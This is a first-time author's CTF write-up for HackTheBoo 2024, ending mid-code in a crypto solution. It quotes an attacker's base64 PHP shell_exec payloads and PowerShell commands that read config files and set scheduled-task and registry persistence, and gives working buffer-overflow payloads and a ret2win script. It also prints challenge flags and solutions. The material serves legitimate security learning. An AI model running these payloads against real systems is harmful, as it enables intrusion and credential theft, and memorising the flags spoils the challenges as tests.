HackTheBoo 2024 Write-Up
This is a write-up for HackTheBoo 2024 that completed on October 26, 2024. The CTF event included spooky-themed Forensics, Web, Cryptography, Reverse Engineering, Pwn, and Coding challenges.
INTRODUCTION
This is my write-up (and first ever write-up) for the recent HackTheBoo 2024 competition. I am not an expert in capture the flags nor cybersecurity in general (just yet). However, I hope you can gain some insight from my beginner / intermediate level analysis going through the challenges.
I am going to be straight with you. I used a lot of ChatGPT, especially for the parts that needed code. The main drawback was relying on it too much to decide what is or isn't "possible" mentally tanked me at times. While it simplifies a lot of things, I still tried to make an effort to learn a lot of the stuff that I wasn’t super familiar with. Knowing what to ask as well as understanding and correcting stuff on the fly I found are skills you need to develop just like any other skills. In general, you won’t get far if you’re completely new to everything and just rely on AI, but it's undeniably helpful, and I treat it as an extension to my toolkit.
I’m working a lot off of memory and scant notes, so I might miss a lot of small details — please bear with me. I’m aiming to be as comprehensive as possible with this guide. I thought this was a very good CTF for beginners, so I wanted to express my thoughts in a way that was beginner-friendly as well. Anyways, since we got that out of the way. Let’s begin!
Helpful Tools
Forensics
Foggy Intrusion
TL;DR: You’re trying to find and decode a base64 encoded string that’s basically an obfuscated PowerShell one liner command.
The challenge gives you a ‘capture.pcap’ file. Open it in Wireshark.
Look around the traffic and it’ll all be HTTP and TCP traffic. TCP starting and closing those HTTP connections. Usually the first thing I do is go into Statistics
> Conversations
> TCP
. From here I have a bunch of streams I can follow (Follow Stream
on the left) and look at what things are being passed around. Red for client request, blue for server response.
Stream IDs from 0 to 2 look like directory brute forcing and path traversal from the attacker. In Stream ID 3, we can see the attacker using the PHP wrapper ‘Input’ to do remote code execution via PHP shell_exec commands in the body of its POST requests.
<?php echo shell_exec(base64_decode('cG93ZXJzaGVsbC5leGUgLUMgIiRvdXRwdXQgPSBHZXQtQ2hpbGRJdGVtIC1QYXRoIEM6OyAkYnl0ZXMgPSBbVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoJG91dHB1dCk7ICRjb21wcmVzc2VkU3RyZWFtID0gW1N5c3RlbS5JTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgJGNvbXByZXNzb3IgPSBbU3lzdGVtLklPLkNvbXByZXNzaW9uLkRlZmxhdGVTdHJlYW1dOjpuZXcoJGNvbXByZXNzZWRTdHJlYW0sIFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb2RlXTo6Q29tcHJlc3MpOyAkY29tcHJlc3Nvci5Xcml0ZSgkYnl0ZXMsIDAsICRieXRlcy5MZW5ndGgpOyAkY29tcHJlc3Nvci5DbG9zZSgpOyAkY29tcHJlc3NlZEJ5dGVzID0gJGNvbXByZXNzZWRTdHJlYW0uVG9BcnJheSgpOyBbQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkQnl0ZXMpIg==')); ?>
[You can also look at File
> Export Objects
> HTTP
to see if there are any files being uploaded or downloaded. You won’t see anything special from this challenge (it’ll mostly just be 404 not found messages from the server), but if you look into the objects with 'input' as the filename you’ll see the same PHP input requests as well as responses from following the streams.]
The commands inside the requests are being base64 decoded, so we just need to decode them ourselves to reveal what they are.
You can use Cyberchef or Python or whatever. I typically use https://www.base64decode.org/ for this.
The most recent request (at the bottom of the stream) will show:
powershell.exe -C "$output = whoami; $bytes = [Text.Encoding]::UTF8.GetBytes($output); $compressedStream = [System.IO.MemoryStream]::new(); $compressor = [System.IO.Compression.DeflateStream]::new($compressedStream, [System.IO.Compression.CompressionMode]::Compress); $compressor.Write($bytes, 0, $bytes.Length); $compressor.Close(); $compressedBytes = $compressedStream.ToArray(); [Convert]::ToBase64String($compressedBytes)"
If you’re not that familiar with PowerShell, you just need to know -C is for executing commands, the $output variable is set to whoami (the command), and the output will be compressed bytes converted into base64 (this lengthy process helps obfuscate the output).
[shell_exec by default opens a CMD shell, so to use PowerShell, it explicitly uses powershell.exe first then does -C]
The response for this request is:
S0ktzi7JL9AtyM3PzDFIiSktLjIwBAA=
If you immediately base64 decode this you get garbled output:
KI-./-1H)-.20#�
If you remember from our request we’re working with bytes processed by PowerShell, so we’re going to have to reverse the process using PowerShell as well. I asked ChatGPT and it gave me this solution:
# Base64 string to decode
$base64 = "S0ktzi7JL9AtyM3PzDFIiSktLjIwBAA="
# Step 1: Decode the Base64 to compressed bytes
$compressedBytes = [Convert]::FromBase64String($base64)
# Step 2: Create a MemoryStream with compressed bytes
$compressedStream = New-Object System.IO.MemoryStream
$compressedStream.Write($compressedBytes, 0, $compressedBytes.Length)
$compressedStream.Position = 0 # Reset the stream position to the beginning
# Step 3: Decompress the byte array
$decompressor = New-Object System.IO.Compression.DeflateStream($compressedStream, [System.IO.Compression.CompressionMode]::Decompress)
# Step 4: Create a new MemoryStream for the decompressed data
$decompressedStream = New-Object System.IO.MemoryStream
# Step 5: Copy decompressed data to the new stream
$decompressor.CopyTo($decompressedStream)
# Close the decompressor and the compressed stream
$decompressor.Close()
$compressedStream.Close()
# Step 6: Convert the decompressed bytes back to a string
$decompressedBytes = $decompressedStream.ToArray()
$output = [Text.Encoding]::UTF8.GetString($decompressedBytes)
# Output the result
$output
You need to open PowerShell to execute these commands, but do not copy and paste the whole solution or else it’ll output errors and even worse will be detected by Microsoft Defender as malware. Do the steps one by one.
Once we decode this, while we won’t get the flag we’re looking for from the whoami command, we’ll be able to see how our code and method works. We know there are other requests using the same method of doing commands through PHP shell_exec and base64_decode so we can just work our way backwards. Now I didn’t want to go through all these requests doing the same long process, so I base64 decoded a couple of the most recent requests to see the $output (the command the attacker sends).
The most recent one before or above the whoami command has the output of:
Get-Content -Path C:\xampp\htdocs\config.php
The one before that is:
Get-Content -Path C:\xampp\properties.ini;
Get-Content
is basically cat
in Linux. The command can read and output files. The one for config.php looks more interesting, so I’ll repeat the same process of using the steps Chat gave us and just replace $base64 with the right base64 response. Then voila we get our flag from the hardcoded mysql password in the config file used by the xampp server.
<?php define('DB_SERVER', 'db'); define('DB_USERNAME', 'db_user'); define('DB_PASSWORD', 'HTB{f06_d154pp34r3d_4nd_fl46_w4s_f0und!}'); define('DB_DATABASE', 'a5BNadf'); $mysqli = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_DATABASE); if ($mysqli->connect_error) { die("Connection failed: " . $mysqli->connect_error); } $mysqli->set_charset('utf8'); ?>
Ghostly Persistence
TL;DR: You’re trying to find two halves of the flag among a bunch of EventViewer logs.
The challenge gives us a ton of Windows Event Viewer logs (.evtx). When I’m working with logs like these I usually immediately turn to Chainsaw, which is a program that uses Sigma rules for detecting suspicious behavior in Windows logs through common bad signatures.
If you don’t have it set up, just look up the GitHub and documentation. (https://github.com/WithSecureLabs/chainsaw). I suggest you download the chainsaw_all_platforms+rules.zip release to follow me.
Open PowerShell and go to where Chainsaw is. (You can quickly do this by just shift + right clicking on the chainsaw folder and you can open PowerShell from there.)
Then execute this command:
.\chainsaw_x86_64-pc-windows-msvc.exe hunt "C:\Users\username\hacktheboo\Logs" -s sigma/ --mapping mappings/sigma-event-logs-all.yml -r rules/ --csv --output "C:\Users\kenor\Documents\Code\hackthebox\hacktheboo\Logs\chainsaw"
-s
, --mapping
, and -r
use the included sigma files, mappings, and rules needed for analysis when you download Chainsaw, which will all be under the same folder as your executable. --csv
will use csv for the output files. --output
will be the destination folder.
You’ll get three outputs: log_tampering.csv
, powershell_script.csv
, and sigma.csv
.
The one with the answers we want is sigma.csv
. I used LibreOffice Calc to open it.
You can read through the different events that set off Chainsaw. Particularly, for the event recorded 2024-09-01T19:39:17.415656+00:00
which is detected as a “Suspicious Process Discovery With Get-Process” has some suspicious event data.
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-EncodedCommand JHRlbXBQYXRoID0gIiRlbnY6d2luZGlyXHRlbXBcR2gwc3QudHh0IgoiSFRCe0doMHN0X0wwYzR0MTBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkdGVtcFBhdGggLUVuY29kaW5nIHV0Zjg="
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "MaintenanceTask" -Description ""
To sum it up, it creates a task that executes a base64 encoded (-EncodedCommand
or more commonly from what I’ve seen is the shortened -e
) PowerShell command. When we base64 decode this, we get the first half of our flag, which basically writes the flag into "Gh0st.txt".
$tempPath = "$env:windir\temp\Gh0st.txt"
"HTB{Gh0st_L0c4t10n" | Out-File -FilePath $tempPath -Encoding utf8
HTB{Gh0st_L0c4t10n
After looking around I couldn’t find any other strings that would point to being the other half of our flag.
Just skipping ahead a bit, the flag is located in the PowerShell_Operational log-file which is where Chainsaw detected our first flag and is noticeably bigger than the rest of the logs which are mostly empty.
There are two approaches you can do with this. I’ll start by explaining how you can just do this straight through EventViewer then explain the alternative I did which makes things way more readable and easier to move around in my opinion (it also lets you read from all the logs simultaneously so you can correlate better).
Open ...PowerShell_Operational.evtx
in EventViewer. You can just double left click on the file in Windows and it’ll do it automatically.
Starting from the very bottom, which have the most recent events, you can find a funny rick roll in a suspicious Invoke-WebRequest
event (equivalent to curl) when you open the link to "http://windowsliveupdater.com/wLDwomPJLN.ps1".
A few events above that, we can find the event for the first half of our flag which is the task scheduled PowerShell command that writes to Gh0st.txt.
You’ll start to notice a lot of “Creating ScriptBlock text (n of n)” warnings. ScriptBlocks are basically like lambda functions (functions without names) and they’re being pieced together by the different event logs. From what I know, you can enable script block logging in Windows and it’ll record all these (4104) events where script blocks are used (which could be malicious code executed by our attacker).
You can use the arrow keys and keep scrolling up until you find the log with this general information. (Event 9/1/2024 2:39:22 PM)
Creating Scriptblock text (1 of 1):
Get-PSDrive -Name C -Verbose
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion" -Verbose
New-Item -Path "HKCU:\Software\cPdQnixceg" -Force
New-ItemProperty -Path "HKCU:\Software\cPdQnixceg" -Name "cPdQnixceg" -Value "X1c0c19SM3YzNGwzZH0=" -PropertyType String
Get-ScheduledTask -Verbose
New-Item basically a creates new registry key (cPdQnixceg) under HKCU\Software and New-ItemProperty adds a new registry value for this newly created key. This has a base64 value we can decode and we can get the second half of our flag.
Alternative:
I’ll just briefly go through this, but another approach of reading the logs is using the Zimmerman tools (https://ericzimmerman.github.io/#!index.md) EvtxECmd
and Timeline Explorer
. EvtxECmd will parse our logs into csv and Timeline Explorer gives us a nice GUI to look around them.
Once you have Zimmerman tools set up, go into the folder in PowerShell and execute this command.
.\EvtxECmd.exe -d "C:\Users\username\hackthebox\hacktheboo\Logs" --csv "C:\Users\kenor\Documents\Code\hackthebox\hacktheboo\Logs\" --csvf "evtxecmd.csv"
-d
is the where our logs are located. --csv
is the destination folder for our csv file. --csvf
is the destination filename. It will parse through all these logs and create a single csv file we can read through. When I was originally doing this, I was going through PowerShell_Operational manually in EventViewer and I couldn’t find the event with the flag. I was thinking it might be in the other evtx files besides PowerShell_Operational, so having all of them in one place by using EvtxECmd would’ve helped.
Now I can open this csv file again through Excel or LibreOffice Calc, but even better I can open it in Timeline Explorer, which feels way smoother to use.
Combing through the columns, I focus on ‘Payload’ and try to find rows that stick out the most. I scroll a bit more to the right so I can see just after “Name: ScriptBlockText”. I notice before a bunch of Set-Alias logs is an event that starts with Get-PSDrive. Drill down more, read to the right of it, and we find the same event as we did before when we got our second flag using EventViewer.
{"EventData":{"Data":[{"@Name":"MessageNumber","#text":"1"},{"@Name":"MessageTotal","#text":"1"},{"@Name":"ScriptBlockText","#text":"Get-PSDrive -Name C -Verbose, Get-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\" -Verbose, New-Item -Path \"HKCU:\\Software\\cPdQnixceg\" -Force, New-ItemProperty -Path \"HKCU:\\Software\\cPdQnixceg\" -Name \"cPdQnixceg\" -Value \"X1c0c19SM3YzNGwzZH0=\" -PropertyType String, Get-ScheduledTask -Verbose, "},{"@Name":"ScriptBlockId","#text":"72187be7-469a-440d-ac5f-44d1f81d3de5"},{"@Name":"Path","#text":"C:\\Users\\usr01\\AppData\\Local\\Temp\\3MZvgfcEiT.ps1"}]}}
If we were looking at Payload Data1, we can also find “Path: C:\Users\usr01\AppData\Local\Temp\3MZvgfcEiT.ps1”, which while on top of being in a Temp directory (any user can write to Temp and it is a common target for attackers) is a PowerShell script with a suspicious filename: “3MZvgfcEiT.ps1”. In the next column, Payload Data2, we find the same ScriptBlockText data to get our flag.
Pwn
I’m not that much of a programmer and I don’t have extensive knowledge of coding or reverse engineering. I might mistakes with explaining things, so please don’t take my words at face value.
El Pipo
TL;DR: You’re doing a straightforward buffer overflow on the application which will read out the flag.
From the name itself, I was already thinking of doing a buffer overflow attack by ‘piping’ a bunch of random stuff into it. But before that, I did my usual basic routine after downloading the additional files.
Commands:
file ./el_pipo # just to know it’s an ELF x64 executable
strings ./el_pipo # we can find ./flag.txt (probably using a relative file path name to open the flag and an error message)
hexdump -C ./el_pipo # we can read along with the hex the ASCII that strings didn’t recognize
objdump -M intel -D ./el_pipo # -M uses the intel mode to display the assembly code, and -D includes all of the sections in our disassembly. I usually do this to take a glance at the functions and what the program does, and we see it has a read_flag function that also has open@plt and read@plt functions under it (used for opening and reading files). You can also use the smaller -d just to show what gets executed.
I won’t repeat writing all of this for the other challenges, but just know this is my usual starting workflow when it comes to binaries.
Before running the program, we have a README file with some basic instructions. We also have a glib_c folder with the libraries that were most likely used to compile the program. We also have the dummy flag.txt in the same folder our program is in and will probably read from. The HTB container will probably read the actual flag that is in it’s own folder as well.
I ran the program and it didn’t give any prompts or anything. I just entered in ‘1’ and it gave me the fail message “Not scary enough.. Boo! :(“. So I went with my initial idea and did:
python3 -c "print('A'*128)" | ./el_pipo
This will be the same as inputting a lot of A’s (128 bytes) in the empty prompt earlier (which we can alternatively do instead). I just thought of a big number and went with 128 but 47 is the acceptable minimum. In vulnerable programs, you can give them big enough of an input (buffer overflow) that things behave unexpectedly resulting in things like functions that wouldn’t normally be called being executed. You’ll see in the other Pwn challenge how we’re going to have to be a bit more precise with this.
I don’t want to get anything wrong while explaining, so I won’t go too much into detail. You can also just skip to the end if you don’t want to listen to how the buffer overflow works, but below is basically how the main function or the program in general works. I used Ghidra (https://github.com/NationalSecurityAgency/ghidra), a very popular and handy tool for reverse engineering to decompile this:
undefined8 main(void)
{
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
char local_9;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_9 = '\x01';
read(0,&local_38,0x40);
if (local_9 == '\x01') {
fwrite("Not scary enough.. Boo! :(",1,0x1a,stdout);
fflush(stdout);
}
else {
read_flag();
}
return 0;
}
Our goal here is to overwrite local_9 so that it doesn’t equal to 1 and give us the Not scary enough message. The read function starts from the address of (&)local_38
. Each local_ variable is 8 bytes while local_9 is just one byte. There’s padding and alignment we have to factor in but basically from trial and error I learned 47 A’s were enough to get it to overwrite local_9 and steer the program to do the else condition.
Additionally, we can debug the program and check there’s no stack buffer overflow protection.
pwndbg ./el_pipo
checksec
Arch: amd64
RELRO: Full RELRO
Stack: No canary found
We then get our flag, but it’s just the dummy. So we do the same thing in our HTB container by typing it out on the form on the challenge web page.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
And voila! We get our flag.
El Mundo
TL;DR: You’re doing a precise buffer overflow while writing the required address on the stack so that the program triggers a function that reads the flag.
We do our usual workflow and we see we more or less the same stuff as we did on the last Pwn challenge. This time though when we run the program it'll give us more specific instructions.
0x00007ffdc047ca20 | 0x0000000000000000 <- Start of buffer (You write here from right to left)
0x00007ffdc047ca28 | 0x0000000000000000
0x00007ffdc047ca30 | 0x0000000000000000
0x00007ffdc047ca38 | 0x0000000000000000
0x00007ffdc047ca40 | 0x00007f4ba1c04644 <- Local Variables
0x00007ffdc047ca48 | 0x00000000deadbeef <- Local Variables (nbytes read receives)
0x00007ffdc047ca50 | 0x00007ffdc047caf0 <- Saved rbp
0x00007ffdc047ca58 | 0x00007f4ba1a2a1ca <- Saved return address
0x00007ffdc047ca60 | 0x00007f4ba1c045c0
0x00007ffdc047ca68 | 0x00007ffdc047cb78
[*] Overflow the buffer.
[*] Overwrite the 'Local Variables' with junk.
[*] Overwrite the Saved RBP with junk.
[*] Overwrite 'Return Address' with the address of 'read_flag() [0x4016b7].'
Our main goal here is to overwrite the RBP in the stack with the address of the read_flag function. If we count from the top of the stack or where our buffer starts, it’s 8 bytes each row, so there’s 56 bytes before the RBP.
We can do the same thing as before and print 56 A’s or bytes but we still need to add the return address as well. I couldn’t get a simple one-liner to work correctly using print and byte strings, so I asked ChatGPT to write us a script that puts the payload in a file we can cat from.
padding_size = 56
return_address = 0x4016b7
# Create the payload
padding = b'A' * padding_size # 56 bytes of 'A'
return_address_bytes = return_address.to_bytes(8, byteorder='little') # Convert address to bytes (little-endian)
payload = padding + return_address_bytes
# Write the payload to a binary file
with open('payload.bin', 'wb') as f:
f.write(payload)
cat payload.bin | ./el_mundo
0x00007ffe9db43e60 | 0x4141414141414141 8
0x00007ffe9db43e68 | 0x4141414141414141 16
0x00007ffe9db43e70 | 0x4141414141414141 24
0x00007ffe9db43e78 | 0x4141414141414141 32
0x00007ffe9db43e80 | 0x4141414141414141 40
0x00007ffe9db43e88 | 0x0000000000000040 <- number of bytes read() receives (basically the read function gets called and overwrites our A’s on the stack address)
0x00007ffe9db43e90 | 0x4141414141414141 56 A’s (0x41 is the ASCII for A) == 56 bytes
0x00007ffe9db43e98 | 0x00000000004016b7 return address for read_flag
It will congratulate us with the dummy flag, so we just need to pipe it to nc on the real thing.
cat payload.bin | nc ip port
Nice.
Coding
Replacement
TL;DR: Take the inputs and replace.
This was kind of an annoying challenge to figure out what it wanted. I initially thought it wanted us to come up with our own random characters, but I figured out from the error output it was inputting 3 distinct variables into my program. c is a letter in the string of words. r is a random letter. We can use the string function replace(c,r) to replace c with r.
s = input()
c = input()
r = input()
answer = s.replace(c,r)
print(answer)
MiniMax
TL;DR: Make a list of floats and use the min and max functions.
This challenge will input a whole lot of numbers with decimal points (floats). Basically take in all that input (n). Input will by default type cast the whole thing as one big string. The input has a bunch of spaces in between. I can use the split function to create a list from these spaces, but we will still be left with a bunch of strings we want to process as floats. So I made a list comprehension for a new list that adjusted each item to become a float. Now we can use the min and max functions to get the smallest and biggest numbers.
# take in the number
n = input()
# calculate answer
number_list = n.split()
adjusted = [float(i) for i in number_list]
smallest = min(adjusted)
biggest = max(adjusted)
# print answer
print(smallest)
print(biggest)
Reverse
LinkHands
TL;DR: Hexdump.
This was probably the most straight forward challenge in the whole event. We’re given a binary and I did my usual routine of file, strings...
then hexdump.
hexdump -C link
And while it’s kind of hard to read, we can find the flag among the ASCII on the right. It’s just jumbled around.
<SNIP>
00003070 80 40 40 00 00 00 00 00 63 00 00 00 00 00 00 00 |.@@.....c.......|
00003080 90 40 40 00 00 00 00 00 68 00 00 00 00 00 00 00 |.@@.....h.......|
00003090 a0 40 40 00 00 00 00 00 34 00 00 00 00 00 00 00 |.@@.....4.......|
000030a0 b0 40 40 00 00 00 00 00 31 00 00 00 00 00 00 00 |.@@.....1.......|
000030b0 c0 40 40 00 00 00 00 00 6e 00 00 00 00 00 00 00 |.@@.....n.......|
000030c0 d0 40 40 00 00 00 00 00 5f 00 00 00 00 00 00 00 |.@@....._.......|
000030d0 e0 40 40 00 00 00 00 00 30 00 00 00 00 00 00 00 |.@@.....0.......|
000030e0 f0 40 40 00 00 00 00 00 65 00 00 00 00 00 00 00 |.@@.....e.......|
000030f0 00 41 40 00 00 00 00 00 33 00 00 00 00 00 00 00 |[email protected].......|
00003100 10 41 40 00 00 00 00 00 34 00 00 00 00 00 00 00 |[email protected].......|
00003110 20 41 40 00 00 00 00 00 33 00 00 00 00 00 00 00 | [email protected].......|
00003120 30 41 40 00 00 00 00 00 66 00 00 00 00 00 00 00 |[email protected].......|
00003130 40 41 40 00 00 00 00 00 35 00 00 00 00 00 00 00 |@[email protected].......|
00003140 50 41 40 00 00 00 00 00 33 00 00 00 00 00 00 00 |[email protected].......|
00003150 60 41 40 00 00 00 00 00 37 00 00 00 00 00 00 00 |`[email protected].......|
00003160 70 41 40 00 00 00 00 00 65 00 00 00 00 00 00 00 |[email protected].......|
00003170 80 41 40 00 00 00 00 00 62 00 00 00 00 00 00 00 |[email protected].......|
00003180 50 40 40 00 00 00 00 00 63 00 00 00 00 00 00 00 |P@@.....c.......|
00003190 a0 41 40 00 00 00 00 00 48 00 00 00 00 00 00 00 |[email protected].......|
000031a0 b0 41 40 00 00 00 00 00 54 00 00 00 00 00 00 00 |[email protected].......|
000031b0 c0 41 40 00 00 00 00 00 42 00 00 00 00 00 00 00 |[email protected].......|
000031c0 d0 41 40 00 00 00 00 00 7b 00 00 00 00 00 00 00 |.A@.....{.......|
000031d0 e0 41 40 00 00 00 00 00 34 00 00 00 00 00 00 00 |[email protected].......|
000031e0 f0 41 40 00 00 00 00 00 5f 00 00 00 00 00 00 00 |.A@....._.......|
000031f0 00 42 40 00 00 00 00 00 62 00 00 00 00 00 00 00 |[email protected].......|
00003200 10 42 40 00 00 00 00 00 72 00 00 00 00 00 00 00 |[email protected].......|
00003210 20 42 40 00 00 00 00 00 33 00 00 00 00 00 00 00 | [email protected].......|
00003220 30 42 40 00 00 00 00 00 34 00 00 00 00 00 00 00 |[email protected].......|
00003230 40 42 40 00 00 00 00 00 6b 00 00 00 00 00 00 00 |@[email protected].......|
00003240 50 42 40 00 00 00 00 00 5f 00 00 00 00 00 00 00 |PB@....._.......|
00003250 60 42 40 00 00 00 00 00 31 00 00 00 00 00 00 00 |`[email protected].......|
00003260 70 42 40 00 00 00 00 00 6e 00 00 00 00 00 00 00 |[email protected].......|
00003270 80 42 40 00 00 00 00 00 5f 00 00 00 00 00 00 00 |.B@....._.......|
00003280 90 42 40 00 00 00 00 00 74 00 00 00 00 00 00 00 |[email protected].......|
00003290 a0 42 40 00 00 00 00 00 68 00 00 00 00 00 00 00 |[email protected].......|
000032a0 60 40 40 00 00 00 00 00 33 00 00 00 00 00 00 00 |`@@.....3.......|
<SNIP>
We know the HTB flag format starts with "HTB{" so we start from "HTB{" (in the middle) and work our way down and back up where it wraps. The dashes are part of the flag. You just need to add a '}' at the end to complete the flag.
Terrorfryer
TL;DR: Same seed, same shifts everytime.
This challenge felt like one I overcomplicated quite a bit. I thought it was more of a cryptography challenge than reverse engineering—at least based on my approach. Anyways, I started it off by doing my usual routine for binaries again, but couldn’t find much of anything. However, I do find some strings that would later show up when running the program.
Correct recipe - enjoy your meal!
This recipe isn't right :(
1_n3}f3br9Ty{_6_rHnf01fg_14rlbtB60tuarun0c_tr1y3
Running the fryer program, we observe it’s accepting input, but also expecting a certain output that comes from shifting that input. It’s basically a cipher.
Trying to overflow the program does nothing, we’re maxed at out at 63 bytes for our input.
This time when we run pwndbg ./fryer
then checksec
, we can observe it has stack overflow protection.
Arch: amd64
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
I used Ghidra to look at the decompiled code first and then went on to do all sorts of stuff from there -like debugging and trying to reverse the cipher, but I won't go super into detail with all that. Anyways, here's the code.
The main function looks like this:
undefined8 main(void)
{
local_20 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdout,(char *)0x0,2,0);
printf("Please enter your recipe for frying: ");
fgets(acStack_68,0x40,stdin);
pcVar2 = strchr(acStack_68,10);
if (pcVar2 != (char *)0x0) {
*pcVar2 = '\0';
}
fryer(acStack_68);
printf("got: `%s`\nexpected: `%s`\n",acStack_68,desired);
iVar1 = strcmp(desired,acStack_68);
if (iVar1 == 0) {
puts("Correct recipe - enjoy your meal!");
}
else {
puts("This recipe isn\'t right :(");
}
<SNIP>
It gets our input and runs it through the fryer function.
void fryer(char *param_1)
{
char cVar1;
int iVar2;
size_t sVar3;
long lVar4;
if (init.1 == 0) {
seed.0 = 0x13377331;
init.1 = 1;
}
sVar3 = strlen(param_1);
if (1 < sVar3) {
lVar4 = 0;
do {
iVar2 = rand_r(&seed.0);
cVar1 = param_1[lVar4];
param_1[lVar4] = param_1[(int)((ulong)(long)iVar2 % (sVar3 - lVar4)) + (int)lVar4];
param_1[(int)((ulong)(long)iVar2 % (sVar3 - lVar4)) + (int)lVar4] = cVar1;
lVar4 = lVar4 + 1;
} while (lVar4 != sVar3 - 1);
}
return;
}
The fryer function is basically the cipher. The seed for the randomizer always stays the same. This essentially means we’ll get the same sequence every time from whatever is using the randomizer. Hmm... Then it would be pretty simple to just ask Chat to write us code that takes advantage of this fact by reversing the expected output and cipher, right? Nope. None of the code I used worked. I even tried bruteforcing sequences that would start with HTB{ and end with }.
I tried debugging and looking at the registers thinking I might’ve missed something. I tried jumping around seeing if I could just reverse engineer the program to take on a different flow, and maybe eventually stupidly land on the hidden flag that was waiting for me. Alas, none of that worked.
[By the way, this was the last challenge on the table for me, so I was getting desperate]
After some circling around, I then took another look at the expected output. I just lazered in and saw it had the characters H,T,B,{, and }, just all rearranged. In my obsession, I thought I might as well get somewhere by just frantically guessing and seeing where that might take me - starting my guesses with HTB{ and filling the in-between with a bunch of the other characters from the expected output. That’s when it hit me. Every time I input the same thing, the ‘got’ or transformed output never changed. No matter if it was a bunch of AAAAAs then BBBBBs or CCCCC’s then DDDDD’s, the sequence and or shifts always remained the same. I even initially thought it was changing and removing letters, but even the letters used remained the same. This had to all be linked to the seed not changing.
A step beyond that was noticing the individual H,T,B,{, and } characters always ending up in the same positions. That’s when I decided to just use my eyes and follow the positions of the shifts, which made me move away from trying to "reverse engineer" and look for the answer in the program itself, and focus more on the cryptography side of the output instead. I first used "HTB{" (although in hindsight these should’ve also been unique because I use the same HTB letters later). I then used the lowercase and then big letters (including HTB) of the English alphabet. I just wanted unique letters I could track. Lastly ending the string off with '}'.
From top to bottom Expected Output -> My Input -> Actual Output
[Skip to the end if you just want the Python code]
My method was simple. Look at where each letter ended up and write down the expected output characters that were in the same position. I knew the flag would start with "HTB{" so I just went straight to ‘a’ and searched where it ended up (this visually lines up in my Obsidian notebook). ‘a’ ends up under the 4 of the expected output so I write down 4.
|4 (28th from the left)
INPUT
|a (28th from the left)
‘b’ ends up under a ‘_’ so I write that after. ‘c’ ends up under a ‘t’ so I write ‘t’, so on and so forth until I get the full flag ending with }.
HTB{4_truly_t3rr0r_fry1ng_funct10n_9b3ab6360f11}
We don’t even have to input this back into the program to confirm. We can just go straight to checking it on the HTB website.
This would’ve been way faster and less eye straining if I did this programatically, but I was way too excited at the time, moments getting to fully complete a CTF event for the first time. I’ll leave the Python code I came up with after doing the event below. You just need to use an input without repeating characters.
flag = ""
my_input = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV"
got = "TzHLVAnNpJbkdlOsuaCSGwtyIUeojKgcQqmiMhBxRDfErFvP" # adjust this to your output
expected_output = "1_n3}f3br9Ty{_6_rHnf01fg_14rlbtB60tuarun0c_tr1y3"
for i in range(len(my_input)):
flag += expected_output[got.index(my_input[i])]
print(flag)
Crypto
Binary Basis
TL;DR: Get the prime numbers from “treat” and work your ways towards getting the flag.
For this challenge, we’re given the output and source Python script. I just remember relying on Chat to do the heavy lifting, but basically from what I discovered, having “treat” is a big help towards getting the flag.
You can just put all these into one script, but I broke them down into 2 + the one original source script below.
The original source code uses 16 random prime numbers. n is the product of all these primes. e is basically 65537 in decimal. m is the content of the original flag we don’t have but was encrypted by the script. c (ciphertext) is m to the power of e modulus n (m ** e mod n). From what i understand, you figure out the original prime numbers of n from treat, then use those values to reverse c and get m or the flag.
source.py
from Crypto.Util.number import getPrime, bytes_to_long
from math import prod
FLAG = open('flag.txt', 'rb').read()
primes = [getPrime(128) for _ in range(16)]
n = prod(primes)
e = 0x10001
m = bytes_to_long(FLAG)
c = pow(m, e, n)
treat = sum([primes[i]*2**(0x1337-158*(2*i+1)) for i in range(16)])
with open('output.txt', 'w') as f:
f.write(f'{n = }\n')
f.write(f'{e = }\n')
f.write(f'{c = }\n')
f.write(f'{treat = }\n')
reverse_treat.py
# Constants (from our output file)
treat = 33826299692206056532121791830179921422706114758529525220793629816156072250638811879097072208672826369710139141314323340868249218138311919342795011985307401396584742792889745481236951845524443087508961941376221503463082988824380033699922510231682106539670992608869544016935962884949065959780503238357140566278743227638905174072222417393094469815315554490106734525135226780778060506556705712260618278949198314874956096334168056169728142790865790971422951014918821304222834793054141263994367399532134580599152390531190762171297276760172765312401308121618180252841520149575913572694909728162718121046171285288877325684172770961191945212724710898385612559744355792868434329934323139523576332844391818557784939344717350486721127766638540535485882877859159035943771015156857329402980925114285187490669443939544936816810818576838741436984740586203271458477806641543777519866403816491051725315688742866428609979426437598677570710511190945840382014439636022928429437759136895283286032849032733562647559199731329030370747706124467405783231820767958600997324346224780651343241077542679906436580242223756092037221773830775592945310048874859407128884997997578209245473436307118716349999654085689760755615306401076081352665726896984825806048871507798497357305218710864342463697957874170367256092701115428776435510032208152373905572188998888018909750348534427300919509022067860128935908982044346555420410103019344730263483437408060519519786509311912519598116729716340850428481288557035520
n_primes = 16
# Initialize list to hold recovered primes
recovered_primes = [0] * n_primes
# Reverse engineer primes from treat
for i in range(n_primes):
exponent = 0x1337 - 158 * (2 * i + 1)
scaling_factor = 2 ** exponent
# Use integer division to estimate the prime
prime = treat // scaling_factor # Integer division
recovered_primes[i] = prime
# Update treat by subtracting the current term's contribution
treat -= prime * scaling_factor
# Output the recovered primes
print("Recovered primes:", recovered_primes)
decrypt.py
from sympy import mod_inverse
from math import prod
from Crypto.Util.number import long_to_bytes
# replace these with the output you got from the last script
recovered_primes = [
